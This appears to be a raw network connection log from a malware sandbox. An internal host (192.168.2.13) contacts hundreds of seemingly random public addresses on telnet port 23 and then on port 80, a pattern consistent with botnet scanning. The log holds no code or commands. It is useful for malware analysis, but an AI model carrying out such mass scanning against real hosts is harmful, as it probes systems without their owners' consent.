Jan 5, 2025 14:26:56.190887928 CET	57214	23	192.168.2.13	211.192.131.235
Jan 5, 2025 14:26:56.190891027 CET	57214	23	192.168.2.13	126.182.7.183
Jan 5, 2025 14:26:56.190891027 CET	57214	23	192.168.2.13	91.202.38.115
Jan 5, 2025 14:26:56.190891027 CET	57214	23	192.168.2.13	98.56.185.240
Jan 5, 2025 14:26:56.190907955 CET	57214	23	192.168.2.13	123.251.49.159
Jan 5, 2025 14:26:56.190907955 CET	57214	23	192.168.2.13	51.155.153.226
Jan 5, 2025 14:26:56.190911055 CET	57214	23	192.168.2.13	194.198.15.114
Jan 5, 2025 14:26:56.190913916 CET	57214	23	192.168.2.13	137.40.91.46
Jan 5, 2025 14:26:56.190913916 CET	57214	23	192.168.2.13	62.22.79.232
Jan 5, 2025 14:26:56.190918922 CET	57214	23	192.168.2.13	85.209.91.81
Jan 5, 2025 14:26:56.190937996 CET	57214	23	192.168.2.13	151.225.129.49
Jan 5, 2025 14:26:56.190938950 CET	57214	23	192.168.2.13	75.101.139.146
Jan 5, 2025 14:26:56.190937996 CET	57214	23	192.168.2.13	60.199.71.133
Jan 5, 2025 14:26:56.190939903 CET	57214	23	192.168.2.13	54.241.174.101
Jan 5, 2025 14:26:56.195406914 CET	23	52090	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:56.195419073 CET	23	52330	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:56.195429087 CET	23	57214	69.110.123.131	192.168.2.13
Jan 5, 2025 14:26:56.195439100 CET	23	57214	168.76.86.240	192.168.2.13
Jan 5, 2025 14:26:56.195449114 CET	23	57214	205.26.16.246	192.168.2.13
Jan 5, 2025 14:26:56.195458889 CET	23	57214	85.133.235.199	192.168.2.13
Jan 5, 2025 14:26:56.195467949 CET	52330	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:56.195467949 CET	57214	23	192.168.2.13	69.110.123.131
Jan 5, 2025 14:26:56.195468903 CET	23	57214	176.234.192.172	192.168.2.13
Jan 5, 2025 14:26:56.195477962 CET	57214	23	192.168.2.13	168.76.86.240
Jan 5, 2025 14:26:56.195477962 CET	23	57214	161.245.137.34	192.168.2.13
Jan 5, 2025 14:26:56.195489883 CET	23	57214	61.245.186.124	192.168.2.13
Jan 5, 2025 14:26:56.195497036 CET	57214	23	192.168.2.13	85.133.235.199
Jan 5, 2025 14:26:56.195497036 CET	57214	23	192.168.2.13	176.234.192.172
Jan 5, 2025 14:26:56.195498943 CET	57214	23	192.168.2.13	205.26.16.246
Jan 5, 2025 14:26:56.195498943 CET	57214	23	192.168.2.13	161.245.137.34
Jan 5, 2025 14:26:56.195501089 CET	23	57214	59.201.133.12	192.168.2.13
Jan 5, 2025 14:26:56.195512056 CET	23	57214	35.126.2.103	192.168.2.13
Jan 5, 2025 14:26:56.195522070 CET	23	57214	170.254.10.112	192.168.2.13
Jan 5, 2025 14:26:56.195527077 CET	57214	23	192.168.2.13	61.245.186.124
Jan 5, 2025 14:26:56.195529938 CET	57214	23	192.168.2.13	59.201.133.12
Jan 5, 2025 14:26:56.195533037 CET	23	57214	189.183.109.124	192.168.2.13
Jan 5, 2025 14:26:56.195543051 CET	23	57214	51.63.110.62	192.168.2.13
Jan 5, 2025 14:26:56.195553064 CET	23	57214	210.237.88.69	192.168.2.13
Jan 5, 2025 14:26:56.195561886 CET	23	57214	97.221.214.119	192.168.2.13
Jan 5, 2025 14:26:56.195569992 CET	57214	23	192.168.2.13	35.126.2.103
Jan 5, 2025 14:26:56.195569992 CET	57214	23	192.168.2.13	51.63.110.62
Jan 5, 2025 14:26:56.195570946 CET	23	57214	76.131.190.87	192.168.2.13
Jan 5, 2025 14:26:56.195575953 CET	57214	23	192.168.2.13	170.254.10.112
Jan 5, 2025 14:26:56.195575953 CET	57214	23	192.168.2.13	189.183.109.124
Jan 5, 2025 14:26:56.195580006 CET	23	57214	133.1.94.91	192.168.2.13
Jan 5, 2025 14:26:56.195589066 CET	23	57214	164.113.84.217	192.168.2.13
Jan 5, 2025 14:26:56.195590019 CET	57214	23	192.168.2.13	210.237.88.69
Jan 5, 2025 14:26:56.195596933 CET	57214	23	192.168.2.13	97.221.214.119
Jan 5, 2025 14:26:56.195600033 CET	23	57214	199.28.35.194	192.168.2.13
Jan 5, 2025 14:26:56.195605040 CET	57214	23	192.168.2.13	76.131.190.87
Jan 5, 2025 14:26:56.195610046 CET	23	57214	217.161.220.177	192.168.2.13
Jan 5, 2025 14:26:56.195614100 CET	57214	23	192.168.2.13	133.1.94.91
Jan 5, 2025 14:26:56.195614100 CET	57214	23	192.168.2.13	164.113.84.217
Jan 5, 2025 14:26:56.195620060 CET	23	57214	167.203.153.35	192.168.2.13
Jan 5, 2025 14:26:56.195624113 CET	57214	23	192.168.2.13	199.28.35.194
Jan 5, 2025 14:26:56.195630074 CET	23	57214	20.164.7.100	192.168.2.13
Jan 5, 2025 14:26:56.195638895 CET	23	57214	67.72.217.125	192.168.2.13
Jan 5, 2025 14:26:56.195641041 CET	57214	23	192.168.2.13	217.161.220.177
Jan 5, 2025 14:26:56.195647955 CET	23	57214	122.28.128.164	192.168.2.13
Jan 5, 2025 14:26:56.195657015 CET	23	57214	89.220.72.37	192.168.2.13
Jan 5, 2025 14:26:56.195662022 CET	57214	23	192.168.2.13	167.203.153.35
Jan 5, 2025 14:26:56.195666075 CET	57214	23	192.168.2.13	20.164.7.100
Jan 5, 2025 14:26:56.195688963 CET	57214	23	192.168.2.13	89.220.72.37
Jan 5, 2025 14:26:56.195710897 CET	23	57214	212.119.105.199	192.168.2.13
Jan 5, 2025 14:26:56.195715904 CET	57214	23	192.168.2.13	67.72.217.125
Jan 5, 2025 14:26:56.195715904 CET	57214	23	192.168.2.13	122.28.128.164
Jan 5, 2025 14:26:56.195770979 CET	23	57214	74.13.66.68	192.168.2.13
Jan 5, 2025 14:26:56.195775032 CET	57214	23	192.168.2.13	212.119.105.199
Jan 5, 2025 14:26:56.195789099 CET	23	57214	155.228.228.16	192.168.2.13
Jan 5, 2025 14:26:56.195801020 CET	23	57214	88.75.166.161	192.168.2.13
Jan 5, 2025 14:26:56.195810080 CET	23	57214	54.247.40.33	192.168.2.13
Jan 5, 2025 14:26:56.195816994 CET	57214	23	192.168.2.13	74.13.66.68
Jan 5, 2025 14:26:56.195821047 CET	23	57214	202.102.177.178	192.168.2.13
Jan 5, 2025 14:26:56.195830107 CET	23	57214	34.128.215.253	192.168.2.13
Jan 5, 2025 14:26:56.195832968 CET	57214	23	192.168.2.13	155.228.228.16
Jan 5, 2025 14:26:56.195838928 CET	57214	23	192.168.2.13	88.75.166.161
Jan 5, 2025 14:26:56.195838928 CET	57214	23	192.168.2.13	54.247.40.33
Jan 5, 2025 14:26:56.195839882 CET	57214	23	192.168.2.13	202.102.177.178
Jan 5, 2025 14:26:56.195841074 CET	23	57214	143.14.87.66	192.168.2.13
Jan 5, 2025 14:26:56.195851088 CET	23	57214	36.108.180.30	192.168.2.13
Jan 5, 2025 14:26:56.195869923 CET	23	57214	159.255.144.214	192.168.2.13
Jan 5, 2025 14:26:56.195878983 CET	57214	23	192.168.2.13	34.128.215.253
Jan 5, 2025 14:26:56.195878983 CET	57214	23	192.168.2.13	143.14.87.66
Jan 5, 2025 14:26:56.195879936 CET	23	57214	107.213.74.50	192.168.2.13
Jan 5, 2025 14:26:56.195890903 CET	23	57214	117.47.91.18	192.168.2.13
Jan 5, 2025 14:26:56.195894003 CET	57214	23	192.168.2.13	36.108.180.30
Jan 5, 2025 14:26:56.195894003 CET	57214	23	192.168.2.13	159.255.144.214
Jan 5, 2025 14:26:56.195899963 CET	23	57214	73.237.113.233	192.168.2.13
Jan 5, 2025 14:26:56.195909977 CET	23	57214	158.213.201.28	192.168.2.13
Jan 5, 2025 14:26:56.195919991 CET	23	57214	80.2.233.83	192.168.2.13
Jan 5, 2025 14:26:56.195924997 CET	57214	23	192.168.2.13	107.213.74.50
Jan 5, 2025 14:26:56.195929050 CET	57214	23	192.168.2.13	117.47.91.18
Jan 5, 2025 14:26:56.195929050 CET	23	57214	205.108.95.83	192.168.2.13
Jan 5, 2025 14:26:56.195939064 CET	57214	23	192.168.2.13	73.237.113.233
Jan 5, 2025 14:26:56.195940018 CET	23	57214	116.142.85.191	192.168.2.13
Jan 5, 2025 14:26:56.195949078 CET	57214	23	192.168.2.13	158.213.201.28
Jan 5, 2025 14:26:56.195950031 CET	23	57214	2.147.207.25	192.168.2.13
Jan 5, 2025 14:26:56.195955038 CET	57214	23	192.168.2.13	205.108.95.83
Jan 5, 2025 14:26:56.195960045 CET	23	57214	62.5.117.159	192.168.2.13
Jan 5, 2025 14:26:56.195969105 CET	23	57214	140.133.219.84	192.168.2.13
Jan 5, 2025 14:26:56.195970058 CET	57214	23	192.168.2.13	80.2.233.83
Jan 5, 2025 14:26:56.195976973 CET	57214	23	192.168.2.13	116.142.85.191
Jan 5, 2025 14:26:56.195979118 CET	23	57214	156.90.18.158	192.168.2.13
Jan 5, 2025 14:26:56.195986986 CET	57214	23	192.168.2.13	62.5.117.159
Jan 5, 2025 14:26:56.195988894 CET	23	57214	61.190.126.192	192.168.2.13
Jan 5, 2025 14:26:56.195987940 CET	57214	23	192.168.2.13	2.147.207.25
Jan 5, 2025 14:26:56.195987940 CET	57214	23	192.168.2.13	140.133.219.84
Jan 5, 2025 14:26:56.195997953 CET	23	57214	159.143.62.134	192.168.2.13
Jan 5, 2025 14:26:56.196007013 CET	23	57214	114.203.147.58	192.168.2.13
Jan 5, 2025 14:26:56.196017027 CET	57214	23	192.168.2.13	156.90.18.158
Jan 5, 2025 14:26:56.196017027 CET	23	57214	54.133.87.87	192.168.2.13
Jan 5, 2025 14:26:56.196017027 CET	57214	23	192.168.2.13	61.190.126.192
Jan 5, 2025 14:26:56.196027994 CET	57214	23	192.168.2.13	159.143.62.134
Jan 5, 2025 14:26:56.196029902 CET	23	57214	202.241.53.229	192.168.2.13
Jan 5, 2025 14:26:56.196038961 CET	57214	23	192.168.2.13	114.203.147.58
Jan 5, 2025 14:26:56.196048975 CET	57214	23	192.168.2.13	54.133.87.87
Jan 5, 2025 14:26:56.196057081 CET	57214	23	192.168.2.13	202.241.53.229
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	89.193.248.250
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	209.62.110.93
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	134.102.166.128
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	221.136.12.9
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	206.50.172.164
Jan 5, 2025 14:26:56.643693924 CET	56958	80	192.168.2.13	109.245.147.71
Jan 5, 2025 14:26:56.643714905 CET	56958	80	192.168.2.13	37.54.72.91
Jan 5, 2025 14:26:56.643714905 CET	56958	80	192.168.2.13	122.69.36.230
Jan 5, 2025 14:26:56.643714905 CET	56958	80	192.168.2.13	43.23.21.100
Jan 5, 2025 14:26:56.643713951 CET	56958	80	192.168.2.13	72.243.207.101
Jan 5, 2025 14:26:56.643713951 CET	56958	80	192.168.2.13	140.140.181.59
Jan 5, 2025 14:26:56.643723965 CET	56958	80	192.168.2.13	223.121.127.185
Jan 5, 2025 14:26:56.643728971 CET	56958	80	192.168.2.13	145.68.152.40
Jan 5, 2025 14:26:56.643728971 CET	56958	80	192.168.2.13	150.85.84.94
Jan 5, 2025 14:26:56.643728971 CET	56958	80	192.168.2.13	167.140.115.101
Jan 5, 2025 14:26:56.643728971 CET	56958	80	192.168.2.13	108.5.168.211
Jan 5, 2025 14:26:56.643732071 CET	56958	80	192.168.2.13	47.221.220.24
Jan 5, 2025 14:26:56.643750906 CET	56958	80	192.168.2.13	170.114.235.83
Jan 5, 2025 14:26:56.643748999 CET	56958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:26:56.643748999 CET	56958	80	192.168.2.13	159.50.39.200
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	94.49.139.13
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	118.1.42.140
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	77.148.102.80
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	27.187.204.8
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	95.225.137.142
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	205.84.6.154
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	177.15.51.100
Jan 5, 2025 14:26:56.643758059 CET	56958	80	192.168.2.13	198.40.82.222
Jan 5, 2025 14:26:56.643763065 CET	56958	80	192.168.2.13	187.215.170.91
Jan 5, 2025 14:26:56.643763065 CET	56958	80	192.168.2.13	208.31.46.129
Jan 5, 2025 14:26:56.643763065 CET	56958	80	192.168.2.13	144.228.47.121
Jan 5, 2025 14:26:56.643764019 CET	56958	80	192.168.2.13	186.233.155.56
Jan 5, 2025 14:26:56.643769026 CET	56958	80	192.168.2.13	201.24.10.218
Jan 5, 2025 14:26:56.643775940 CET	56958	80	192.168.2.13	210.251.76.35
Jan 5, 2025 14:26:56.643775940 CET	56958	80	192.168.2.13	85.165.50.215
Jan 5, 2025 14:26:56.643778086 CET	56958	80	192.168.2.13	49.38.20.8
Jan 5, 2025 14:26:56.643784046 CET	56958	80	192.168.2.13	183.75.42.187
Jan 5, 2025 14:26:56.643785000 CET	56958	80	192.168.2.13	19.181.176.189
Jan 5, 2025 14:26:56.643785954 CET	56958	80	192.168.2.13	67.6.202.35
Jan 5, 2025 14:26:56.643785954 CET	56958	80	192.168.2.13	205.205.167.21
Jan 5, 2025 14:26:56.643785954 CET	56958	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:56.643791914 CET	56958	80	192.168.2.13	34.20.189.80
Jan 5, 2025 14:26:56.643791914 CET	56958	80	192.168.2.13	27.255.102.38
Jan 5, 2025 14:26:56.643791914 CET	56958	80	192.168.2.13	60.228.143.135
Jan 5, 2025 14:26:56.643791914 CET	56958	80	192.168.2.13	163.246.164.104
Jan 5, 2025 14:26:56.643794060 CET	56958	80	192.168.2.13	153.128.164.130
Jan 5, 2025 14:26:56.643794060 CET	56958	80	192.168.2.13	91.66.172.72
Jan 5, 2025 14:26:56.643794060 CET	56958	80	192.168.2.13	76.98.110.5
Jan 5, 2025 14:26:56.643796921 CET	56958	80	192.168.2.13	19.123.111.251
Jan 5, 2025 14:26:56.643796921 CET	56958	80	192.168.2.13	150.59.131.112
Jan 5, 2025 14:26:56.643806934 CET	56958	80	192.168.2.13	182.173.217.109
Jan 5, 2025 14:26:56.643806934 CET	56958	80	192.168.2.13	80.244.235.30
Jan 5, 2025 14:26:56.643806934 CET	56958	80	192.168.2.13	74.218.174.60
Jan 5, 2025 14:26:56.643806934 CET	56958	80	192.168.2.13	144.92.139.227
Jan 5, 2025 14:26:56.643809080 CET	56958	80	192.168.2.13	134.209.110.42
Jan 5, 2025 14:26:56.643809080 CET	56958	80	192.168.2.13	27.65.193.234
Jan 5, 2025 14:26:56.643810987 CET	56958	80	192.168.2.13	9.68.45.13
Jan 5, 2025 14:26:56.643810987 CET	56958	80	192.168.2.13	134.174.63.179
Jan 5, 2025 14:26:56.643814087 CET	56958	80	192.168.2.13	17.153.31.74
Jan 5, 2025 14:26:56.643814087 CET	56958	80	192.168.2.13	13.249.215.133
Jan 5, 2025 14:26:56.643814087 CET	56958	80	192.168.2.13	118.173.205.45
Jan 5, 2025 14:26:56.643816948 CET	56958	80	192.168.2.13	181.102.111.165
Jan 5, 2025 14:26:56.643817902 CET	56958	80	192.168.2.13	8.207.145.157
Jan 5, 2025 14:26:56.643817902 CET	56958	80	192.168.2.13	96.78.100.59
Jan 5, 2025 14:26:56.643825054 CET	56958	80	192.168.2.13	200.237.171.183
Jan 5, 2025 14:26:56.643827915 CET	56958	80	192.168.2.13	209.245.109.184
Jan 5, 2025 14:26:56.643827915 CET	56958	80	192.168.2.13	17.106.77.115
Jan 5, 2025 14:26:56.643829107 CET	56958	80	192.168.2.13	90.194.241.191
Jan 5, 2025 14:26:56.643829107 CET	56958	80	192.168.2.13	54.57.92.75
Jan 5, 2025 14:26:56.643830061 CET	56958	80	192.168.2.13	209.104.33.99
Jan 5, 2025 14:26:56.643836021 CET	56958	80	192.168.2.13	205.216.160.240
Jan 5, 2025 14:26:56.643836021 CET	56958	80	192.168.2.13	65.188.216.18
Jan 5, 2025 14:26:56.643838882 CET	56958	80	192.168.2.13	168.215.121.0
Jan 5, 2025 14:26:56.643838882 CET	56958	80	192.168.2.13	143.184.84.104
Jan 5, 2025 14:26:56.643841028 CET	56958	80	192.168.2.13	70.111.105.75
Jan 5, 2025 14:26:56.643846035 CET	56958	80	192.168.2.13	46.167.251.61
Jan 5, 2025 14:26:56.643846035 CET	56958	80	192.168.2.13	192.38.174.160
Jan 5, 2025 14:26:56.643846035 CET	56958	80	192.168.2.13	167.3.14.73
Jan 5, 2025 14:26:56.643846035 CET	56958	80	192.168.2.13	203.42.204.208
Jan 5, 2025 14:26:56.643853903 CET	56958	80	192.168.2.13	125.5.101.134
Jan 5, 2025 14:26:56.643857002 CET	56958	80	192.168.2.13	130.176.188.161
Jan 5, 2025 14:26:56.643857002 CET	56958	80	192.168.2.13	79.133.236.45
Jan 5, 2025 14:26:56.643858910 CET	56958	80	192.168.2.13	170.17.180.134
Jan 5, 2025 14:26:56.643857002 CET	56958	80	192.168.2.13	223.233.131.125
Jan 5, 2025 14:26:56.643857002 CET	56958	80	192.168.2.13	4.208.122.22
Jan 5, 2025 14:26:56.643866062 CET	56958	80	192.168.2.13	166.10.125.160
Jan 5, 2025 14:26:56.643866062 CET	56958	80	192.168.2.13	111.195.43.144
Jan 5, 2025 14:26:56.643866062 CET	56958	80	192.168.2.13	74.117.97.120
Jan 5, 2025 14:26:56.643868923 CET	56958	80	192.168.2.13	70.25.63.66
Jan 5, 2025 14:26:56.643872023 CET	56958	80	192.168.2.13	18.53.158.104
Jan 5, 2025 14:26:56.643873930 CET	56958	80	192.168.2.13	79.88.29.156
Jan 5, 2025 14:26:56.643873930 CET	56958	80	192.168.2.13	182.67.167.88
Jan 5, 2025 14:26:56.643883944 CET	56958	80	192.168.2.13	65.84.55.236
Jan 5, 2025 14:26:56.643887043 CET	56958	80	192.168.2.13	195.69.208.48
Jan 5, 2025 14:26:56.643893957 CET	56958	80	192.168.2.13	113.243.44.216
Jan 5, 2025 14:26:56.643903017 CET	56958	80	192.168.2.13	206.60.137.144
Jan 5, 2025 14:26:56.643903971 CET	56958	80	192.168.2.13	211.42.31.41
Jan 5, 2025 14:26:56.643903017 CET	56958	80	192.168.2.13	34.208.250.65
Jan 5, 2025 14:26:56.643903017 CET	56958	80	192.168.2.13	44.233.158.241
Jan 5, 2025 14:26:56.643906116 CET	56958	80	192.168.2.13	71.181.253.184
Jan 5, 2025 14:26:56.643906116 CET	56958	80	192.168.2.13	35.35.242.254
Jan 5, 2025 14:26:56.643918991 CET	56958	80	192.168.2.13	153.84.171.238
Jan 5, 2025 14:26:56.643918991 CET	56958	80	192.168.2.13	148.140.32.95
Jan 5, 2025 14:26:56.643919945 CET	56958	80	192.168.2.13	139.54.200.194
Jan 5, 2025 14:26:56.643919945 CET	56958	80	192.168.2.13	101.36.227.231
Jan 5, 2025 14:26:56.643919945 CET	56958	80	192.168.2.13	103.43.160.2
Jan 5, 2025 14:26:56.643922091 CET	56958	80	192.168.2.13	23.1.146.211
Jan 5, 2025 14:26:56.643922091 CET	56958	80	192.168.2.13	40.241.50.187
Jan 5, 2025 14:26:56.643925905 CET	56958	80	192.168.2.13	42.253.6.136
Jan 5, 2025 14:26:56.643929005 CET	56958	80	192.168.2.13	200.205.64.144
Jan 5, 2025 14:26:56.643929005 CET	56958	80	192.168.2.13	158.230.251.182
Jan 5, 2025 14:26:56.643929958 CET	56958	80	192.168.2.13	203.207.113.243
Jan 5, 2025 14:26:56.643929958 CET	56958	80	192.168.2.13	174.127.137.76
Jan 5, 2025 14:26:56.643929958 CET	56958	80	192.168.2.13	122.234.194.173
Jan 5, 2025 14:26:56.643930912 CET	56958	80	192.168.2.13	92.240.170.68
Jan 5, 2025 14:26:56.643930912 CET	56958	80	192.168.2.13	63.27.216.12
Jan 5, 2025 14:26:56.643930912 CET	56958	80	192.168.2.13	204.56.134.199
Jan 5, 2025 14:26:56.643939018 CET	56958	80	192.168.2.13	187.253.208.246
Jan 5, 2025 14:26:56.643943071 CET	56958	80	192.168.2.13	196.1.37.251
Jan 5, 2025 14:26:56.643944979 CET	56958	80	192.168.2.13	83.158.131.70
Jan 5, 2025 14:26:56.643944979 CET	56958	80	192.168.2.13	173.90.104.198
Jan 5, 2025 14:26:56.643951893 CET	56958	80	192.168.2.13	62.223.48.160
Jan 5, 2025 14:26:56.643951893 CET	56958	80	192.168.2.13	46.36.115.72
Jan 5, 2025 14:26:56.643951893 CET	56958	80	192.168.2.13	17.44.82.250
Jan 5, 2025 14:26:56.643951893 CET	56958	80	192.168.2.13	25.198.1.51
Jan 5, 2025 14:26:56.643970966 CET	56958	80	192.168.2.13	116.72.127.30
Jan 5, 2025 14:26:56.643971920 CET	56958	80	192.168.2.13	161.228.55.130
Jan 5, 2025 14:26:56.643971920 CET	56958	80	192.168.2.13	200.242.69.160
Jan 5, 2025 14:26:56.643971920 CET	56958	80	192.168.2.13	39.223.54.238
Jan 5, 2025 14:26:56.643974066 CET	56958	80	192.168.2.13	71.60.61.0
Jan 5, 2025 14:26:56.643974066 CET	56958	80	192.168.2.13	191.247.129.77
Jan 5, 2025 14:26:56.643980026 CET	56958	80	192.168.2.13	143.107.27.76
Jan 5, 2025 14:26:56.643981934 CET	56958	80	192.168.2.13	106.103.110.118
Jan 5, 2025 14:26:56.643981934 CET	56958	80	192.168.2.13	119.46.108.52
Jan 5, 2025 14:26:56.643985033 CET	56958	80	192.168.2.13	23.84.46.31
Jan 5, 2025 14:26:56.643986940 CET	56958	80	192.168.2.13	84.22.14.204
Jan 5, 2025 14:26:56.643990993 CET	56958	80	192.168.2.13	27.207.64.93
Jan 5, 2025 14:26:56.643990993 CET	56958	80	192.168.2.13	38.208.55.188
Jan 5, 2025 14:26:56.643990993 CET	56958	80	192.168.2.13	42.252.186.148
Jan 5, 2025 14:26:56.643990993 CET	56958	80	192.168.2.13	77.226.9.79
Jan 5, 2025 14:26:56.643995047 CET	56958	80	192.168.2.13	78.135.53.200
Jan 5, 2025 14:26:56.643999100 CET	56958	80	192.168.2.13	149.40.162.145
Jan 5, 2025 14:26:56.643995047 CET	56958	80	192.168.2.13	168.123.211.252
Jan 5, 2025 14:26:56.644001961 CET	56958	80	192.168.2.13	103.39.14.181
Jan 5, 2025 14:26:56.644005060 CET	56958	80	192.168.2.13	116.176.199.14
Jan 5, 2025 14:26:56.644005060 CET	56958	80	192.168.2.13	197.208.137.1
Jan 5, 2025 14:26:56.644012928 CET	56958	80	192.168.2.13	107.107.153.32
Jan 5, 2025 14:26:56.644012928 CET	56958	80	192.168.2.13	77.194.226.141
Jan 5, 2025 14:26:56.644012928 CET	56958	80	192.168.2.13	109.232.243.254
Jan 5, 2025 14:26:56.644012928 CET	56958	80	192.168.2.13	186.253.125.127
Jan 5, 2025 14:26:56.644015074 CET	56958	80	192.168.2.13	223.22.27.204
Jan 5, 2025 14:26:56.644015074 CET	56958	80	192.168.2.13	222.23.97.57
Jan 5, 2025 14:26:56.644016027 CET	56958	80	192.168.2.13	59.171.57.93
Jan 5, 2025 14:26:56.644016027 CET	56958	80	192.168.2.13	190.229.1.114
Jan 5, 2025 14:26:56.644021034 CET	56958	80	192.168.2.13	84.54.196.15
Jan 5, 2025 14:26:56.644016981 CET	56958	80	192.168.2.13	89.218.56.131
Jan 5, 2025 14:26:56.644030094 CET	56958	80	192.168.2.13	88.163.2.201
Jan 5, 2025 14:26:56.644033909 CET	56958	80	192.168.2.13	150.20.45.46
Jan 5, 2025 14:26:56.644033909 CET	56958	80	192.168.2.13	209.105.57.61
Jan 5, 2025 14:26:56.644045115 CET	56958	80	192.168.2.13	58.46.144.16
Jan 5, 2025 14:26:56.644047976 CET	56958	80	192.168.2.13	105.171.197.60
Jan 5, 2025 14:26:56.644047976 CET	56958	80	192.168.2.13	222.47.168.33
Jan 5, 2025 14:26:56.644048929 CET	56958	80	192.168.2.13	167.249.172.229
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	128.127.166.32
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	203.189.120.163
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	85.46.176.31
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	66.254.30.132
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	118.141.37.180
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	115.229.96.65
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	100.210.74.90
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	121.249.193.32
Jan 5, 2025 14:26:56.644051075 CET	56958	80	192.168.2.13	213.51.147.92
Jan 5, 2025 14:26:56.644057989 CET	56958	80	192.168.2.13	38.210.181.134
Jan 5, 2025 14:26:56.644058943 CET	56958	80	192.168.2.13	19.72.71.64
Jan 5, 2025 14:26:56.644058943 CET	56958	80	192.168.2.13	177.182.22.238
Jan 5, 2025 14:26:56.644058943 CET	56958	80	192.168.2.13	180.131.17.156
Jan 5, 2025 14:26:56.644058943 CET	56958	80	192.168.2.13	199.175.168.162
Jan 5, 2025 14:26:56.644059896 CET	56958	80	192.168.2.13	195.215.43.14
Jan 5, 2025 14:26:56.644063950 CET	56958	80	192.168.2.13	49.200.93.181
Jan 5, 2025 14:26:56.644068956 CET	56958	80	192.168.2.13	88.144.75.60
Jan 5, 2025 14:26:56.644068956 CET	56958	80	192.168.2.13	144.21.53.166
Jan 5, 2025 14:26:56.644069910 CET	56958	80	192.168.2.13	137.111.175.83
Jan 5, 2025 14:26:56.644068956 CET	56958	80	192.168.2.13	81.122.223.176
Jan 5, 2025 14:26:56.644068956 CET	56958	80	192.168.2.13	77.74.142.3
Jan 5, 2025 14:26:56.644072056 CET	56958	80	192.168.2.13	169.86.184.203
Jan 5, 2025 14:26:56.644072056 CET	56958	80	192.168.2.13	165.137.91.202
Jan 5, 2025 14:26:56.644072056 CET	56958	80	192.168.2.13	194.207.4.195
Jan 5, 2025 14:26:56.644069910 CET	56958	80	192.168.2.13	144.128.84.156
Jan 5, 2025 14:26:56.644069910 CET	56958	80	192.168.2.13	34.235.183.127
Jan 5, 2025 14:26:56.644081116 CET	56958	80	192.168.2.13	70.28.132.244
Jan 5, 2025 14:26:56.644082069 CET	56958	80	192.168.2.13	153.10.26.5
Jan 5, 2025 14:26:56.644082069 CET	56958	80	192.168.2.13	107.144.140.171
Jan 5, 2025 14:26:56.644083977 CET	56958	80	192.168.2.13	111.190.251.100
Jan 5, 2025 14:26:56.644083977 CET	56958	80	192.168.2.13	166.98.181.114
Jan 5, 2025 14:26:56.644083977 CET	56958	80	192.168.2.13	219.181.207.122
Jan 5, 2025 14:26:56.644083977 CET	56958	80	192.168.2.13	174.6.143.4
Jan 5, 2025 14:26:56.644085884 CET	56958	80	192.168.2.13	161.182.79.194
Jan 5, 2025 14:26:56.644083977 CET	56958	80	192.168.2.13	210.221.215.65
Jan 5, 2025 14:26:56.644092083 CET	56958	80	192.168.2.13	118.249.142.19
Jan 5, 2025 14:26:56.644094944 CET	56958	80	192.168.2.13	140.166.114.180
Jan 5, 2025 14:26:56.644094944 CET	56958	80	192.168.2.13	209.29.245.11
Jan 5, 2025 14:26:56.644097090 CET	56958	80	192.168.2.13	36.40.138.100
Jan 5, 2025 14:26:56.644098997 CET	56958	80	192.168.2.13	219.242.3.225
Jan 5, 2025 14:26:56.644098997 CET	56958	80	192.168.2.13	194.134.37.11
Jan 5, 2025 14:26:56.644104958 CET	56958	80	192.168.2.13	35.59.35.8
Jan 5, 2025 14:26:56.644104958 CET	56958	80	192.168.2.13	19.68.95.116
Jan 5, 2025 14:26:56.644104958 CET	56958	80	192.168.2.13	222.147.228.168
Jan 5, 2025 14:26:56.644112110 CET	56958	80	192.168.2.13	208.42.254.107
Jan 5, 2025 14:26:56.644113064 CET	56958	80	192.168.2.13	70.219.250.167
Jan 5, 2025 14:26:56.644113064 CET	56958	80	192.168.2.13	173.124.85.155
Jan 5, 2025 14:26:56.644118071 CET	56958	80	192.168.2.13	83.110.43.36
Jan 5, 2025 14:26:56.644128084 CET	56958	80	192.168.2.13	149.41.182.219
Jan 5, 2025 14:26:56.644128084 CET	56958	80	192.168.2.13	95.96.222.17
Jan 5, 2025 14:26:56.644128084 CET	56958	80	192.168.2.13	60.100.165.36
Jan 5, 2025 14:26:56.644128084 CET	56958	80	192.168.2.13	219.201.89.148
Jan 5, 2025 14:26:56.644134045 CET	56958	80	192.168.2.13	193.174.65.91
Jan 5, 2025 14:26:56.644134998 CET	56958	80	192.168.2.13	204.90.152.184
Jan 5, 2025 14:26:56.644134998 CET	56958	80	192.168.2.13	126.218.192.21
Jan 5, 2025 14:26:56.644135952 CET	56958	80	192.168.2.13	27.114.67.145
Jan 5, 2025 14:26:56.644136906 CET	56958	80	192.168.2.13	223.53.121.53
Jan 5, 2025 14:26:56.644136906 CET	56958	80	192.168.2.13	80.140.14.204
Jan 5, 2025 14:26:56.644136906 CET	56958	80	192.168.2.13	198.253.185.254
Jan 5, 2025 14:26:56.644138098 CET	56958	80	192.168.2.13	63.177.231.164
